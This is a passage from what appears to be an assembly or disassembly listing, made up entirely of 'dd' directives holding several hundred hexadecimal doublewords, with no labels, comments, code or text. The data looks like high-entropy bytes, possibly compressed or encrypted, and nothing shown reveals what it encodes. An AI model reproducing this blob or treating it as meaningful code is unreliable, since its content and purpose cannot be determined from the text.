		dd 0B321B0DFh, 0E0F00FCBh, 0D600F977h, 0CE407BFh, 4A7DDCEh
		dd 3A691EDh, 22EC80C3h,	0FF0023DEh, 261BE405h, 0BA5CB1h
		dd 0FA446EBDh, 63102F92h, 1E290C00h, 0D4EB6C68h, 789CC4h
		dd 8071C4Bh, 0A090B741h, 0D40D20E5h, 479F9601h,	0ED9757BFh
		dd 170CE0h, 9462D71Ah, 0B1D56453h, 0F0FCA0FCh, 349BA500h
		dd 9AF60318h, 62146372h, 9990A8F4h, 8008411h, 8E693DDEh
		dd 6A0A23h, 0C39039ABh,	32980FAh, 4EF3AA07h, 5CE30801h
		dd 0D9ABF347h, 53F004F2h, 84B0001Fh, 72631679h,	710A9BCFh
		dd 0A1D4DDEBh, 4E2E0800h, 5011325h, 0AC417F94h,	4A8C00C2h
		dd 0BC0033Bh, 0FAC46D01h, 87B1355h, 0B3E9E4h, 752978A7h
		dd 0DD103A0Ah, 5E4B3600h, 9C039D8Bh, 542F00C2h,	1E756C43h
		dd 5A008DABh, 17EB0B49h, 16FD2057h, 4028F9C5h, 0B54DF79Ch
		dd 64090269h, 80D5EB4Bh, 68879234h, 0A7950048h,	0D9D2133Ch
		dd 0DD07819Ah, 3D35855Fh, 0F9E2401Fh, 13DC588Eh, 7AF2A25h
		dd 408DB0h, 0E452A6DFh,	0C5B4631Dh, 180043D3h, 26475DDCh
		dd 0F99609B3h, 10004169h, 87B7D960h, 0D1390A00h, 7ECE0EB4h
		dd 9030F653h, 0EFA9000Ah, 93B370ACh, 0C7047F09h, 221E2867h
		dd 62CA8B0h, 0F0DFFF78h, 6F7050A7h, 0D91A3301h,	19293747h
		dd 0B0D108D0h, 0ACBC00A4h, 8E5B0A3Fh, 66000C2Fh, 0FF6768CBh
		dd 9C08022Ah, 0AFF000B4h, 0EA3025E9h, 0F3628E00h, 283DD1A7h
		dd 8B8200F5h, 0AF262019h, 0C053A1Dh, 0B662AC5Ah, 282F98B4h
		dd 19841A1h, 2E51A2E3h,	2008F945h, 120974C4h, 0A2D061B4h
		dd 78A99CE8h, 35290F44h, 0C4E94443h, 1245E820h,	36004CB5h
		dd 0EF484EA8h, 7D77F44Dh, 0A098495Bh, 7275E00h,	0D8780FDCh
		dd 1F49961Ch, 6680C45Eh, 54C93C7h, 61D61C19h, 0BC4B809Ah
		dd 0F7918F31h, 0AC66E700h, 5970D5C9h, 21030292h, 0F876BCC7h
		dd 79D41440h, 658CB900h, 6488DDD0h, 55E8BDh, 70AF4B27h
		dd 32C981B6h, 18264C00h, 10943044h, 3EAC0934h, 242FA915h
		dd 7D61928Eh, 20DFB5BFh, 60B64510h, 4C00D116h, 2B76F60Eh
		dd 3B6301BFh, 271ECB17h, 9CE0C6F0h, 1902231Fh, 969DA6C6h
		dd 6E6CC086h, 0F51130A9h, 1BB97D20h, 0D1C5FC01h, 4CB7EA1Dh
		dd 0E7677C4h, 6C25BD85h, 99ED02C2h, 0D81AB8C1h,	6F001126h
		dd 225ACA14h, 0B3DCB84h, 0A3E7BDD7h, 0C7753C60h, 0C381802h
		dd 0C4216DC0h, 0D0D66004h, 0D060828h, 0E8F49E28h, 0C151FF07h
		dd 0E6D0D32Eh, 0C01C58h, 871F6980h, 27788430h, 10249C76h
		dd 6E048CB4h, 4EC019E0h, 26F55Bh, 0A0172C49h, 2F243D78h
		dd 0BFEF279h, 8FDF802h,	60C07939h, 15E9954h, 2AE4C4D6h
		dd 747D4EA3h, 3B01F48Ch, 80405709h, 8430ACC6h, 0E35B00B3h
		dd 3E2FB111h, 90760D47h, 9AFF5100h, 0AFD228FEh,	0D34903D7h
		dd 0E4739EDAh, 0CAADC8C8h, 0BCD06907h, 25A781B7h, 49FE6510h
		dd 325FA3h, 196821F8h, 6B01B364h, 4D0D7C02h, 7F20FEBCh
		dd 0B186056Dh, 80384BDDh, 49A2DBDDh, 732B7E00h,	29149D71h
		dd 28CA007Fh, 0B2C6DDA5h, 0E6127D64h, 0E4A09B78h, 2C2E0759h
		dd 0D3CEBBh, 55B24012h,	7006A872h, 22D4DFEEh, 20D80038h
		dd 0E385444Dh, 9F00E909h, 0CA1831DBh, 2693548Dh, 18B5ED15h
		dd 57964045h, 6FDEFC14h, 9CA500E0h, 4B8E39E7h, 8ED58C4h
		dd 0B26D5F0Bh, 0E4E0B409h, 0D30035AAh, 0E26A65BCh, 7C377657h
		dd 0ACAB1F01h, 0FC817902h, 7CFDEFADh, 94F8964Dh, 468A5CC0h
		dd 0AE0A002Ch, 2F018B4Eh, 9E002493h, 265BC9BFh,	155B0C5h
		dd 7E282752h, 0DEB8DAF1h, 225718C0h, 87C8CD39h,	0BCB1EC68h
		dd 0F80C21E0h, 907907E0h, 91B61606h, 30308A4Eh,	0A23BAEDCh
		dd 65ED828Bh, 6AA74F53h, 25F85038h, 4800D854h, 16CC4DABh
		dd 0F8D6D00h, 0C1F4115Ch, 8844191Bh, 893C790Ch,	401410h
		dd 3D7CFB20h, 0DDF409AEh, 50A0341Eh, 0F73A4786h, 14097A5Fh
		dd 20FCE484h, 0B5023648h, 0FDD968E1h, 17D04032h, 0D7F1FBDAh
		dd 0EE8AC4h, 0EF3E3854h, 83F7DEF9h, 0F4600416h,	3DE94448h
		dd 6E7133B0h, 0BCF2794Fh, 0FB169100h, 0E3F3B48h, 0B25A0B37h
		dd 9C014BCDh, 0D6A8B3ACh, 31EF0C40h, 0DFAAEE00h, 7422A733h
		dd 57323FBAh, 23E89800h, 56DB862Dh, 0F3AB9103h,	0D8857E21h
		dd 0C0D61C63h, 84B8340h, 0F000E01Eh, 0AAD28C93h, 0A7C95Ch
		dd 9925FE54h, 0F6CD8615h, 0E1197C01h, 0F77045D3h, 25CE3080h
		dd 0C5710E8h, 0BD4C8CBAh, 4C8C5870h, 0F3E9001Dh, 0FAFE159Ah
		dd 0D08200B1h, 7E95C1A3h, 6300FC44h, 0C9F04610h, 0B42624BAh
		dd 757880ECh, 880B3A6Eh, 205FEC00h, 7DE865C4h, 0AB3D01A8h
		dd 750FE68Ch, 0BE16C0E9h, 9A57790Ah, 9E00A837h,	78FDC4F2h
		dd 3F030035h, 0D5DCEA95h, 0A003C20h, 26F88B04h,	0BDA6CBh
		dd 9D7D0793h, 0C4214FDFh, 94089000h, 3246DC98h,	4B4304DDh
		dd 80BA24B5h, 6D8CEB10h, 98F4AC24h, 65AD7C05h, 1E6998E0h
		dd 0CFC91D85h, 0D66E7817h, 0C0135EE1h, 0F38EE8A9h, 7D4CECE3h
		dd 0AA5C2700h, 507170A0h, 0FC97004Eh, 529B9F51h, 0DF037477h
		dd 3E2E0C79h, 0D904F024h, 0D56F01ADh, 0AC9C6ADCh, 281DC4A9h
		dd 952BBB00h, 6FD91973h, 0A8FE0471h, 0A5F25DC8h, 0FC42E250h
		dd 486B50E0h, 42070C90h, 0CD9D725h, 0A931570h, 191B2659h
		dd 0BD100518h, 5DFD13A6h, 77407054h, 810EBB63h,	82951949h
		dd 60309C46h, 7761A0A2h, 0BCFC4844h, 0F5DA121Ch, 0A4100090h
		dd 2DF41C4Ch, 55B9CB01h, 32A10E98h, 792420h, 0F0E3F5C9h
		dd 9165821Fh, 0AEEA191Ch, 6DE23E80h, 814A4Bh, 92C596E8h
		dd 0AC551889h, 4D160300h, 131714BBh, 0E1F82Eh, 9BA85778h
		dd 1C1AC7C9h, 5E9DDB00h, 0A2103987h, 896900A7h,	90BFA171h
		dd 0F036C47h, 5B04547Dh, 0E6007F8h, 0C0ACD797h,	61A8E486h
		dd 0FE1D427Bh, 0B380332Eh, 8726716h, 0EFA007F5h, 0C477DCF6h
		dd 56DC93AEh, 6C906FB8h, 0C0182801h, 82CB5397h,	5DAD4170h
		dd 24580491h, 8400FD3Eh, 0B9C401Dh, 730E6289h, 0C0705E29h
		dd 0DA016C10h, 9A7D7BFAh, 0EF060258h, 0D67577FCh, 71030880h
		dd 2B016B5Ah, 0AC200268h, 8880527Dh, 969C223Fh,	1818DB3Eh
		dd 4DA1CF09h, 0C4330ED3h, 0CD671A86h, 57D4EB6h,	0D3FCB7E1h
		dd 0F99898F8h, 115CB33Ah, 79B11DE6h, 41E42E00h,	7C0734CBh
		dd 0F3F661h, 0E3897C49h, 3CFA4D69h, 3AC6C218h, 7C8FC068h
		dd 743100DBh, 1A9EC830h, 0E010CA7Eh, 20DC6DB7h,	809B5940h
		dd 850197Dh, 5200DF58h,	94C73D68h, 3EA138h, 677E18D8h
		dd 10C5931Bh, 0BA77C31Ch, 40322340h, 4FDD03h, 0C0F774ECh
		dd 8AE27CF4h, 9D725C00h, 0BD30624h, 27AB0FD0h, 0FCA7F762h
		dd 0AC97604Ah, 0C372963Ah, 2EDA6E00h, 148DE530h, 0C94600A8h
		dd 0C1817E58h, 7D00FB5Ch, 0D492F233h, 0D59F2Bh,	5A5EE1F6h
		dd 0EBCBDFE8h, 6ADEED00h, 48978AF0h, 6BF274h, 92E2403Dh
		dd 35DC6184h, 4B0067E2h, 3B2B19EDh, 0E85B7CDh, 0A25CD35Dh
		dd 0ABFA26C0h, 12073723h, 93C862D2h, 0C1E17B80h, 217F00E4h
		dd 8B1559F1h, 2805C25Eh
		dd 31FF9398h, 0D616BC40h, 38F8903h, 0B7CC68C3h,	2BA36973h
		dd 7E70211Ch, 514B5B02h, 0DBC4A04Ah, 2C6BF3h, 92C1D750h
		dd 0F8B33F4Fh, 34006EB8h, 1075D6B1h, 1819478Dh,	1849F4BAh
		dd 0C70CB5A4h, 494B5136h, 29710093h, 3D5CDB61h,	0C2017F74h
		dd 0B756BDF5h, 413E322Bh, 0C7113C10h, 0C123F33Fh, 3C10092h
		dd 696B8F6Eh, 77244486h, 404CC0F7h, 2B6AB306h, 0C48AE9Bh
		dd 0C10A0CDDh, 0C70CAB68h, 7140506Bh, 0F18B0265h, 1A46CDC5h
		dd 988E5441h, 86215408h, 2AF11D72h, 6AD00E1h, 26051E32h
		dd 0ABC14406h, 7AF06FF8h, 0CAC40407h, 8088FF7Dh, 32027AE5h
		dd 13E6470Bh, 533701D9h, 0E7D4A4D2h, 604B1EEAh,	7F2180ABh
		dd 3FEFC92Eh, 138D6B01h, 0DB895631h, 7B98D8h, 0E151F15Ch
		dd 0A8ECA325h, 6527FB0Ah, 900086CBh, 70E817E0h,	87120379h
		dd 0D3305702h, 1BDB5C80h, 368F3E09h, 855D8092h,	21A456Ah
		dd 0B9742C12h, 8C07040h, 0E40041C0h, 923BBC1Fh,	0C77CD6h
		dd 6ACA3029h, 839E5F5Eh, 0F7310900h, 104F0646h,	1D0D0705h
		dd 93EF3Dh, 82DFBD9Fh, 0A7306E00h, 413C70Fh, 1F8A7C88h
		dd 1776928h, 5EA1B2C2h,	3611D02Fh, 0D1EA1C02h, 0C1CEA091h
		dd 998CF9Bh, 0E2FC2104h, 29DED100h, 0EB8F47D8h,	0C5FA260Ah
		dd 93F3AADh, 7DE74980h,	0C20BBF2Eh, 6038D06Eh, 58865ACFh
		dd 770F068Bh, 50883B29h, 3FB23C1Dh, 85ADD0Ah, 6EEFF100h
		dd 7EA8BE5h, 0F2928E0Dh, 21584F28h, 80ECE750h, 6F7C9A00h
		dd 25D8BF0Dh, 4B290B26h, 73800765h, 0E611D456h,	598D6930h
		dd 3779A92h, 12A63BFAh,	9303349h, 0A2F221BFh, 0E88B0177h
		dd 8C60A51Eh, 0A0905276h, 7AD1E530h, 22E646EEh,	0FDED0113h
		dd 0F59934D1h, 9AA0F86Eh, 8A78FC18h, 30854B90h,	35A04393h
		dd 3E015ED2h, 5D3484A1h, 0CAE43DB7h, 0B5773F7Ah, 4B5FF280h
		dd 95390DDEh, 0AF59200h, 1AAC6090h, 0A2D7083h, 1042A014h
		dd 0E09F7004h, 9107710Ch, 6ECB1990h, 0F8A02168h, 0B9630C0h
		dd 7AD00500h, 0F446F5D9h, 94541785h, 40361C37h,	0AA611817h
		dd 0D1E26D42h, 67E5FA00h, 8010409Fh, 0B372039Bh, 65F9E09Eh
		dd 990078CEh, 4D302F90h, 0EDB1712h, 409D7EF6h, 9B4837C0h
		dd 0E3F53883h, 96A02001h, 0FB41A44Fh, 8511204Eh, 0BAA8072h
		dd 0C0034B5Ah, 919A70E9h, 971D9998h, 0A799468Ch, 218F4E08h
		dd 5340A25Eh, 0D3194301h, 0C0776130h, 0A9AA0DEDh, 54EC1D8Ch
		dd 32D0370h, 45CFE08Bh,	0CC02807Fh, 6E985E36h, 0D3A88058h
		dd 0A4C8A334h, 0DCFAA4h, 24D57E2Fh, 0D3B7B83Dh,	0C7957514h
		dd 99BA80C4h, 609DEB19h, 0C08B786Ch, 60C1588Eh,	59F5DA2Bh
		dd 1C831880h, 9A9C51A0h, 1715E0A8h, 0C066D328h,	0B88BA606h
		dd 6584374h, 0DEFF995h,	7A0BC1ADh, 0CEB5C2h, 0FF9F4D40h
		dd 38016026h, 957B0B98h, 912CC633h, 161CE39h, 0B901217Eh
		dd 0DC91BEB5h, 3D00297Dh, 0A14EF598h, 609B8979h, 6D19A85Fh
		dd 804C0191h, 7EA60066h, 97E09903h, 0A120C035h,	1FECB214h
		dd 64790760h, 0E63AD2Dh, 0A03DB373h, 40673884h,	89065BF4h
		dd 19547AECh, 86C951Ch,	5521806Eh, 32790653h, 38DB7476h
		dd 9D098C46h, 4C0FAAD0h, 8910E4F4h, 0BAB8001Dh,	95095514h
		dd 256604ACh, 814CB20Fh, 6AAF24h, 0F501D7A5h, 3038309Eh
		dd 0DCC93769h, 6435CF00h, 46168BA1h, 0E9D79E8h,	0CE1E5921h
		dd 498FD160h, 714F2A5h,	0CEC05195h, 622F23EEh, 0C6F05865h
		dd 30751100h, 22ED21Eh,	3218196Fh, 0C0505808h, 999A913Ch
		dd 4822A746h, 0A4503Dh,	693E7A74h, 37CDBE32h, 108D333h
		dd 80103853h, 0D93678C1h, 0B0419B98h, 8E49C995h, 0BE423800h
		dd 0EB00A19Eh, 0CDACF05Ch, 98953C13h, 7469D46Fh, 90475714h
		dd 0E49085A0h, 60489C3Eh, 0EAD3C3F9h, 7D41009Dh, 0E6321E5Bh
		dd 0ED3EF8BCh, 0E87C302Fh, 0C9609151h, 38900D99h, 9F005424h
		dd 804EFA2Ah, 0FC185E65h, 9B301D3Ah, 3C399810h,	0A5B8A57Ah
		dd 1C80476Ah, 4E08A468h, 2BC2276h, 389D29A0h, 648F3074h
		dd 0E3E7ED81h, 9DC4531Ch, 81379AE1h, 303FD9A9h,	419D4131h
		dd 11E024D4h, 0DC622E40h, 94F44400h, 0A9C3AC47h, 21805A98h
		dd 35268FA9h, 1C09D285h, 138B519Ch, 5601D64h, 0E519090Bh
		dd 76D66C82h, 0B511E42Ah, 77243E3Ch, 647C380h, 6534ECF8h
		dd 51634486h, 0DD065F04h, 4C81AFF8h, 0C424AB90h, 8D411236h
		dd 80442003h, 980FC39Fh, 267CAD2Bh, 54088523h, 16FC087h
		dd 13B6C370h, 0CCF326D1h, 2F12469Eh, 590AE917h,	9F0E948Eh
		dd 0DD52EC0h, 7041108Dh, 0B1A89AC7h, 6E3B20A4h,	0DD20EA7Ch
		dd 2B8E386Ch, 16E9FA89h, 5C0BAC24h, 0F4210600h,	1225CE7h
		dd 299E232Ch, 30781DD2h, 49042464h, 146CB8ACh, 0E0D51CC0h
		dd 0F01C03CEh, 0A37AE5DAh, 58EE823h, 0C499C398h, 9B74228Bh
		dd 0C3716A20h, 2DD40066h, 5240EE3Bh, 91C1119Dh,	62FF1F9Fh
		dd 10211020h, 38864ADh,	92DD2F89h, 0C82E4FCh, 26B630A2h
		dd 6CF44508h, 405964F0h, 0DF268E80h, 953B0C36h,	0B91976CBh
		dd 9D90083Ch, 8080B6A2h, 1824170Eh, 5BD928B3h, 0A4E294h
		dd 0B41D15Eh, 0EC886573h, 8B185C98h, 0A0D1CB04h, 8B60163h
		dd 888591AFh, 47FE7Bh, 128031CFh, 0B0396A9Eh, 1379C98h
		dd 8339890Ah, 23F00410h, 7D03B358h, 0A42BAEC3h,	11209A62h
		dd 0AC376h, 0D0DA376Ah,	3E506626h, 0A1A4AC50h, 0B8B57F8Ch
		dd 0B0A4492Ch, 87802488h, 0CF8C268Dh, 5AA80B69h, 8500A498h
		dd 16972F2Ah, 5791130Ah, 4300878Ch, 0E0ADE821h,	7BE0A0ABh
		dd 105E26FFh, 62909D40h, 7D283A00h, 0CC4ABA11h,	5F2300C2h
		dd 0E231C022h, 9E19DCFDh, 0CD3953E7h, 39B9D43h,	5D256750h
		dd 5A97E16Bh, 342303B8h, 584C15E8h, 5B1B1088h, 0BD072004h
		dd 70DC83D2h, 0B8A2C826h, 2ACED000h, 2B97819h, 0B6E7E6B8h
		dd 34E05960h, 0A9559007h, 40B801B0h, 89A0C0Ch, 852B33C3h
		dd 60409FC4h, 0A5B7C373h, 540136E6h, 0E69B07F5h, 30608AEDh
		dd 0AE048C5Eh, 0B7996491h, 2F2E7462h, 604C4EB6h, 0FE4B10C3h
		dd 68D60626h, 71939207h, 0D04DCB2Ah, 0DBA7B300h, 0D616E560h
		dd 0E7260048h, 1F35195Eh, 0BCF436EAh, 0BC703D4Ch, 0C2008C6Fh
		dd 8D78C899h, 0B0DEFEBFh, 3AB30034h, 0A3AC52DFh, 0A009356Ch
		dd 401DF5EBh, 552F9F48h, 344EA8BDh, 0FDC03E88h,	11ECAD7h
		dd 47AE1A80h, 50075703h, 0AB71518Ch, 0FCFB2228h, 44B1B301h
		dd 32FDFE1Ch, 3E5FF4FCh, 81171908h, 90E44EF1h, 8E755204h
		dd 0C19CC8CCh, 0CCCE4D21h, 6B506DEDh, 0A08C41E4h, 0E9997DFFh
		dd 43871473h, 60C9A7B7h, 39D2C1CFh, 804C1358h, 1D3504A7h
		dd 2907E477h, 11EC9D91h, 442F0033h, 0A73109D0h,	0FA260045h
		dd 7E6D8605h, 0CA12E7FEh, 30428843h, 0EB1FE111h, 6669C0A4h
		dd 0CF350987h, 0A048EC07h, 0D928D22Bh, 790C8CFDh, 31898791h
		dd 321C02A9h, 0C10CA4Bh, 3EF0910h, 4441651h, 0B93B6D39h
		dd 7A69807Fh, 0E5739415h, 0CE451DD8h, 5870829Dh, 24513E1Eh
		dd 0FB18FC71h, 3AA58C0Ah, 4F12B4CBh, 198088h, 0B2333F8Ah
		dd 0C1F6021Eh, 0FA9CFD0Eh, 8BC980F8h, 8894EAC0h, 4403CCC3h
		dd 8A074087h, 13C97792h, 400485CEh, 64C29548h, 7E047969h
		dd 0A85299ACh, 0AE2D6081h, 6CCD3C02h, 3DC50BE0h, 0F5A202C4h
		dd 8320D5F6h, 871760C8h, 0D9616421h, 51691836h,	20F2E41Fh
		dd 2938F94Ah, 0CF4502Ch
		dd 17FF1901h, 40647AC1h, 4AB2742Bh, 2DBC0044h, 344F0C51h
		dd 32CA84A0h, 0D745F81Eh, 0CDE24A00h, 2CC4389h,	33C6F02Ch
		dd 808462D1h, 0C36460B2h, 752B23ADh, 6E2C9D11h,	82620744h
		dd 0F8B319CEh, 1A4F023h, 0F45B2688h, 20E6195Ch,	77274082h
		dd 3EA63B3Fh, 4CCD860h,	0B09EA2Ah, 0F7740416h, 4AF8095Ah
		dd 0FD93C018h, 1FB8A0B1h, 9C5C12E0h, 4D204245h,	50506AFFh
		dd 0A00FCD31h, 4B0103FAh, 79D4241Fh, 1B929000h,	2C2E20EFh
		dd 309CA0CDh, 60D6601Eh, 72E631D0h, 0B89CAE73h,	4C0321DEh
		dd 0D47F1D08h, 0FE232084h, 6CC2473h, 0D14C56C1h, 0E5031A00h
		dd 12C9505Bh, 0EE07FA3h, 6DD0888Bh, 0A6AD4F60h,	0CBF4CA4Dh
		dd 0BC743958h, 7F048C9Ch, 1E31D799h, 16CBB4D0h,	5DF924EBh
		dd 88133FC0h, 55305F83h, 0C400D46Bh, 0F0E549A5h, 0FE3A0905h
		dd 2ED389A9h, 620C612Ah, 22A0B030h, 0B100184Bh,	0B4B2896Bh
		dd 4920CE2h, 339F90DFh,	1410E44Dh, 7DC7A30Dh, 844288EAh
		dd 0E3C4E682h, 0B9B6C48h, 8D2B3CC3h, 637BC49Ch,	0FE28C300h
		dd 0A57E9749h, 65D920B7h, 465E689Ch, 3B740075h,	9965512Ch
		dd 1BB5015Ch, 27E79FFAh, 990226Ah, 0E26F1F7Bh, 0BE348020h
		dd 0A4DDBCh, 687754A8h,	0A6EB7640h, 5163FC0Eh, 0F16F807Ah
		dd 92D323h, 85070805h, 90DB52C6h, 93D1B00h, 0A0A6953Bh
		dd 0EBB000F3h, 0A9D0916Eh, 0C001B9EDh, 6DD97B66h, 0CEE49F20h
		dd 0A1700109h, 345B9C8Dh, 8533FC2Ah, 0C027F21Eh, 7A3AC200h
		dd 0BA7DFDh, 3B54494h, 0F3A38347h, 0F9C1E82Ch, 89E6FA00h
		dd 1BE186h, 70AB45C2h, 78EEEA96h, 0C08AE63h, 0B8200095h
		dd 0F66845BAh, 99FC6AB3h, 0F28DE204h, 0C0EBD1DEh, 5A985EB0h
		dd 0F9AB7C00h, 0B48E57Fh, 18E76987h, 86945A00h,	0EE725961h
		dd 79F46F07h, 182CE8FBh, 990C8E1h, 145C0C0h, 0F18F370h
		dd 0B8A231C0h, 0A54645h, 8D5E09CCh, 7EAD244Ah, 0D9A32703h
		dd 0E1A18AF4h, 68BE77C0h, 25BBFF06h, 0FE1018F7h, 7849630h
		dd 471F01CDh, 9006625Ch, 731828C4h, 9DBD4A40h, 6CB04C60h
		dd 2C07BA00h, 16F1A18Bh, 0F2000BFh, 0AE363DB5h,	531C6D9Dh
		dd 0D4C7F26Eh, 24D0682Bh, 0BBED0Eh, 0CDB673E2h,	0F670E8BAh
		dd 56399702h, 0C04BD7AEh, 9E0AA9Ch, 0B3600C20h,	0A36BAD00h
		dd 0A80399DCh, 9C19AD3Ch, 7550F787h, 0F7C791h, 4E09D4C5h
		dd 4B5CD9EBh, 11ED0400h, 8705A1BFh, 229D0014h, 0CE2474D0h
		dd 76C1E0D6h, 0C3AB80C7h, 6D058E5h, 6338C02Fh, 0E1A302ACh
		dd 0B47A77E8h, 701718C0h, 6762E3EFh, 80A811D0h,	59D92E2Dh
		dd 5F3271C1h, 0AAC876FBh, 3CA000A1h, 24DDCA14h,	0DB1F8439h
		dd 1CB91673h, 0ED102D5Eh, 7ADD5B01h, 0E482B655h, 3E00970Eh
		dd 96802C50h, 0F81EA5ABh, 0B227007Dh, 9C2FF3F5h, 0B11991D0h
		dd 5F40EC23h, 3AB98F8h,	9E8C5A33h, 95A0692Ch, 8000F204h
		dd 5D058FBAh, 78D885F9h, 33CF901Fh, 2FB0A064h, 51B8FABBh
		dd 7660247Dh, 94D368F0h, 393100A6h, 0E8AA365Eh,	8400182Eh
		dd 0EB28F49Ch, 38FD633h, 8DD95922h, 0A2FB14FEh,	4A1112Bh
		dd 67725EF8h, 0C0CC10AFh, 6692349Eh, 0C733DE00h, 9AFC9648h
		dd 68C10060h, 0F29CA6D2h, 477A7BECh, 0B1A35A00h, 6B24ED7Eh
		dd 0E9F43Dh, 0B5E89987h, 6D67F397h, 0DB068B00h,	257A5623h
		dd 96861FFDh, 882880ECh, 0FE59D24Bh, 57F87D00h,	619D0D2Dh
		dd 0B99F0B0Fh, 5307F965h, 94DFA02Fh, 0A900A4F1h, 3DA8BC4Bh
		dd 2A6AE5h, 0EB18C27Ah,	0C35FE0EFh, 1FB80700h, 0AE24CD8Eh
		dd 0D22300E8h, 0B1EF14FFh, 880C6BA4h, 78BE6635h, 16EA001Dh
		dd 87A7433Ah, 810E55FAh, 0A052BB89h, 0E392BC5Fh, 0B2FD0EF1h
		dd 401BC51Fh, 508EEDC0h, 0D9994C00h, 13C25F68h,	609C0040h
		dd 380ADD41h, 6F039681h, 4E8E6A43h, 0A852F0A3h,	60F0EC7Ch
		dd 0D8825856h, 0DB2E81D0h, 0B901B10Bh, 6E8701B3h, 0A30021BBh
		dd 727AFD05h, 1C00B6BAh, 3E49C6A6h, 48A54C48h, 4E0086D8h
		dd 0B8CFBDBEh, 0DD0B8C85h, 80F9562Dh, 0A9E61154h, 0BCE00F26h
		dd 6EE0D0DCh, 638DD3F4h, 0A61E3FE8h, 9700128Fh,	0A25668F8h
		dd 1CEB0006h, 640C80B7h, 1F0E6640h, 60A9E15Eh, 8429E387h
		dd 2892040Ah, 805B6A16h, 9847A51Ch, 0DD6D6C2Ch,	6B00F838h
		dd 41D13FA4h, 0FBBEFC72h, 532B440h, 0EE7D3F07h,	0EF50EC07h
		dd 76E80031h, 0A703289Ch, 72BF6912h, 0BAFDEB3Ch, 5E4C4833h
		dd 1E8A0047h, 23CE2B53h, 0FB00D50Eh, 2610C6BCh,	0B11E50Dh
		dd 0C54779A0h, 1EA71287h, 40B2F9CEh, 9B97A62Ch,	50FCD41Eh
		dd 0A086AB16h, 79103600h, 999A73h, 0E7142172h, 56E37A87h
		dd 62206800h, 0CE1E9DC7h, 863300F6h, 4E34CB31h,	0E80012D3h
		dd 0E34B7F41h, 0B065FE20h, 0F8882CB2h, 9BBD00DBh, 6F5DFA73h
		dd 0E4CC1028h, 3100E27Eh, 8228834Bh, 5F58DDh, 612D8920h
		dd 70B48A52h, 0B86E0B00h, 90842DFh, 28A87433h, 2A0E6BAh
		dd 15AA7A39h, 0F8486BDDh, 64008D97h, 8BF9512Ah,	1C2124Ch
		dd 2D28DACBh, 0D8D91707h, 0DE00DBE4h, 0F43C2752h, 3A20E909h
		dd 0A000D0FFh, 0BEC6CE74h, 150EA9ADh, 87968231h, 0A2902367h
		dd 9A1F085Eh, 9860540Ch, 7C96004Ah, 4B416607h, 7700C269h
		dd 5CB08E4Ch, 625359h, 7EBE744Eh, 50FA6B05h, 1D2C60BDh
		dd 355D00BAh, 0E90A45E1h, 6E00A141h, 0D7C7D878h, 87545Ah
		dd 0E40C26A7h, 0A5FC22D3h, 0C9091892h, 83A6A0h,	0F2706244h
		dd 51D93ED8h, 0C823E509h, 0C8BBDC04h, 871EF780h, 31007E73h
		dd 3950A490h, 0CE7842h,	823C4EA1h, 0AE5E215Bh, 56711616h
		dd 46531103h, 3E48D0D3h, 44B03810h, 47D02C9Dh, 1C07E04h
		dd 0DC9628DDh, 0F00117AEh, 0D517FEDh, 0F5C42C79h, 0C2A01F1Ch
		dd 80841F55h, 88B721C5h, 9203D138h, 7C78D7E9h, 0DBCDB086h
		dd 0D3520047h, 355FE620h, 5A00957Eh, 544541F3h,	0D8C3Ch
		dd 1ABCBB64h, 0A09D9A4Bh, 0A5C09507h, 708DCA82h, 152ADE4h
		dd 0E8C18F57h, 0C410F5B7h, 0A324D59Fh, 0A90084B2h, 494329A0h
		dd 188F0EB6h, 622070C1h, 0CFE4CE4Ch, 77263600h,	5C01750h
		dd 9F800FEh, 0CBE0449Fh, 0C804EC11h, 26E12B52h,	74ADBC80h
		dd 0FF8601A2h, 69989482h, 84CFDC3Fh, 67D041EFh,	57ABF851h
		dd 0A3522B00h, 9ADD348Ah, 0A4F5509Bh, 9C6F0069h, 0E2297BFAh
		dd 0BC003F47h, 0DD77D4C0h, 15F595Dh, 0CFAD4CF8h, 301D8539h
		dd 6AFA0409h, 67F46100h, 0B5C8FB64h, 3645007Ch,	0E46618CAh
		dd 0DD005786h, 0DA5D9412h, 0A5B79Ch, 0B9F23846h, 6CA5CFAh
		dd 0A603B2EEh, 0CEBD69E4h, 0C9DB90EBh, 0F80E0974h, 180025C2h
		dd 26E5B24Eh, 947C8B06h, 2629361Ah, 0E5EED44h, 59C25064h
		dd 24682F6Fh, 797E196Ch, 0D1D56A03h, 0B8483928h, 8E2252h
		dd 18B12696h, 0CD7686D0h, 0F27E4B7Ch, 78990300h, 904129DAh
		dd 16D11858h, 3BA22146h, 0C20002E4h, 872EA3D6h,	79079590h
		dd 2B3EC61h, 607D4F92h,	94A25E53h, 78487AEEh, 39147895h
		dd 1FB0DCC0h, 1003D64Dh, 0F7A6CB75h, 5181DBD1h,	0BF19DCh
		dd 244E884Ch, 30B00E2Fh, 0E6009DE4h, 12A5BE4h, 0B2F534h
		dd 4595A139h, 0D68BF4A3h, 7FF2D8FEh, 0E0245AEEh, 0D1004004h
		dd 965FA5B5h, 0A0E66024h, 3F93A93Bh, 0F82BF5Ch,	3EDACCh
		dd 0E9F041D3h, 8E440114h, 0BB39A616h, 6D93021h,	9F9CB103h
		dd 883C1712h, 1E29AD32h, 3961CF5Dh, 0DF879B80h,	1A1823AAh
		dd 66E98E01h, 0F3EEA850h
		dd 9EA47280h, 6EE28B90h, 0DB574700h, 22E3A7E1h,	0E594070Eh
		dd 20F515D7h, 6F18FF85h, 0C3F7F607h, 25E06480h,	0A7784Dh
		dd 22572CCEh, 0E39956D0h, 559A5A00h, 0A5015244h, 0C89D1EA4h
		dd 0DCCBC17Ah, 0F4EDFA8Eh, 0D90008A1h, 0F82D1930h, 76D61Ah
		dd 65CF696h, 86E1A68Bh,	2B5EA501h, 0E9C4546Fh, 0B080B0B9h
		dd 80DA0378h, 0C900A2A4h, 5B866FD0h, 0C2BCE8h, 0D29510ADh
		dd 81B7C544h, 0A80BC700h, 24F8728Ah, 0F840292h,	5B8E38AEh
		dd 0DC42DA82h, 8535D8E8h, 0F745F900h, 0E41A6E18h, 2BB87Eh
		dd 48B0D16Ch, 0F5FF0AA6h, 75D39B00h, 0E56540FEh, 9F08A04Ch
		dd 12460077h, 228E7FD7h, 5C58F171h, 274A00E8h, 0C154EF45h
		dd 0AD9F26DBh, 0EB92B9B0h, 0A4148067h, 6E078DD5h, 118E3DBCh
		dd 6023FC41h, 0D82100C7h, 6FA5ADD4h, 0CB3A6625h, 0A12004Ah
		dd 86B1FDAh, 80F90767h,	0A70E9C27h, 0F0B630EEh,	41DAFC8h
